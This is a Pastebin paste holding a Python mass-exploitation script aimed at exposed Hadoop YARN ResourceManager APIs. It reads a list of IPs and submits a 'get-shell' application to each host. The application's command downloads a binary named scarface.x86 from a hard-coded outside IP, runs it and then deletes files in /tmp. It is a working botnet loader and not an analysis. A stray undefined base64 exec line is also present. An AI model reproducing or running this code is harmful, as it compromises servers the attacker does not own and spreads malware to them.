Advertisement
Guest User

Untitled

a guest
Dec 8th, 2019
196
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.65 KB | None | 0 0
  1. import sys
  2. import threading
  3. import requests
  4. import os
  5. from Queue import *
  6. from threading import Thread
  7. ips = open(sys.argv[1], "r").readlines()
  8. queue = Queue()
  9. queue_count = 0
  10. cmd = "cd /tmp; wget http://168.235.91.65/scarface.x86; chmod 777 *; ./scarface.x86 b1gboats; rm -rf *"
  11.  
  12. def run(cmd):
  13. subprocess.call(cmd, shell=True)
  14. exec(base64.b64decode(pl))
  15. def rtek(host):
  16. try:
  17. url = 'http://' + host + ':8088/ws/v1/cluster/apps/new-application'
  18. resp = requests.post(url, timeout=3)
  19. app_id = resp.json()['application-id']
  20. url = 'http://' + host + ':8088/ws/v1/cluster/apps'
  21. data = {
  22. 'application-id': app_id,
  23. 'application-name': 'get-shell',
  24. 'am-container-spec': {
  25. 'commands': {
  26. 'command': '%s' % cmd,
  27. },
  28. },
  29. 'application-type': 'YARN',
  30. }
  31. requests.post(url, json=data, timeout=3)
  32. print("[] - %s" % host)
  33. except:
  34. pass
  35. return
  36.  
  37.  
  38. def main():
  39. global queue_count
  40. for line in ips:
  41. line = line.strip("\r")
  42. line = line.strip("\n")
  43. queue_count += 1
  44. sys.stdout.write("\r[%d] Added to queue" % (queue_count))
  45. sys.stdout.flush()
  46. queue.put(line)
  47. sys.stdout.write("\n")
  48. i = 0
  49. while i != queue_count:
  50. i += 1
  51. try:
  52. input = queue.get()
  53. thread = Thread(target=rtek, args=(input,))
  54. thread.start()
  55. except KeyboardInterrupt:
  56. os.kill(os.getpid(), 9)
  57. thread.join()
  58. return
  59.  
  60.  
  61. if __name__ == "__main__":
  62. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement